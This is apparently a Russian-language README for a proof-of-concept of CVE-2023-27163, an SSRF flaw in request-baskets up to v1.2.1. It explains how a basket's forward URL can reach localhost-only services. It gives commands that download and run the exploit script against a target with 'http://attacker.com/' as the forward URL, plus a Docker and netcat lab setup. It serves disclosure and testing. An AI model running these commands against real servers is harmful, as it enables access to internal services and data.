
Доказательство концепции для Подделки запросов на стороне сервера (SSRF) в request-baskets (<= v.1.2.1)
Этот репозиторий содержит Proof-of-Concept (PoC) для CVE-2023-27163, уязвимости Server-Side Request Forgery (SSRF), обнаруженной в request-baskets до версии 1.2.1. Эта уязвимость позволяет злоумышленникам получать доступ к сетевым ресурсам и конфиденциальной информации, эксплуатируя компонент /api/baskets/{name} через специально сформированный API-запрос.
Благодарности @b33t1e, @chelinboo147 и @houqinsheng (см. статью).
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/
Request-baskets — это веб-приложение, предназначенное для сбора и регистрации запросов на конкретном маршруте, так называемой корзине (basket). При её создании пользователь может указать другой сервер для перенаправления запроса. Проблема в том, что пользователь может указать не предназначенные для этого службы, например, приложения, закрытые от внешней сети.
Например: предположим, что на сервере работает Request-baskets (порт 55555) и веб-сервер на Flask на порту 8000. Flask также настроен на взаимодействие только с localhost. Создав корзину, которая перенаправляет запросы на http://localhost:8000, злоумышленник может получить доступ к ранее ограниченному веб-серверу Flask.

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
nc -lvp 8000
DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')
./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/
Этот проект распространяется под лицензией Unlicense.